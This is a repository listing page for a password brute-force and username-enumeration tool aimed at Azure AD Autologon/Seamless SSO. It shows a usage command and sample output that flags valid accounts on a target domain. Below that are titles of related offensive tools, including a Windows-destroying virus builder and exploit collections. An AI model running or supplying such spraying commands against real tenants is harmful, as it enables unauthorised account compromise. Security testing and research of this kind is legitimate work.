AzureAD_Autologon_Brute

Brute force attack tool for Azure AD Autologon

https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/

Usage:
python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1

[~/AzureAD_Autologon_Brute] # python3 azuread_autologon_brute.py -d intranet.directory -U users.txt -p Password1
Domain is  intranet.directory
Setting password as: Password1
Reading users from file: users.txt

+-----------------------------------------+
|          AzureAD AutoLogon Brute          |
|     2021.09.30 @nyxgeek - TrustedSec      |
+-----------------------------------------+

[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1
[+] VALID USERNAME, invalid password :[email protected]:Password1
[-] Username not found:[email protected]:Password1

Brute force attack tool for Azure AD Autologon/Seamless SSO

Related tags

Overview

AzureAD_Autologon_Brute

Owner

nyxgeek

Virus-Builder - This tool will generate a virus that can only destroy Windows computer

Kriecher is a simple Web Scanner which will run it's own checks for the OWASP

Vulnerability Exploitation Code Collection Repository

Template for new OSINT command-line tools

GitLab CE/EE Preauth RCE using ExifTool

A brute force tool for password-protected zip file

Show apps recorded storage files by jailbreak

A python base script from which you can hack or clone any person's facebook friendlist or followers accounts which have simple password

It's a simple tool for test vulnerability Apache Path Traversal

Obfuscate ip address using different encodings

BETA: Layla - recon tool for bug bounty

(D)arth (S)ide of the (L)og4j (F)orce, the ultimate log4j vulnerabilities assessor

This repo explains in details about buffer overflow exploit development for windows executable.

Code to do NF in HDR,HEVC,HPL,MPL

A tool combined with the advantages of masscan and nmap

Phoenix Framework is an environment for writing, testing and using exploit code.

S2-061 的payload，以及对应简单的PoC/Exp

Log4j vuln fuzz/scan with python

Python tool for enumerating directories and for fuzzing

IDA Python Script for anti ollvm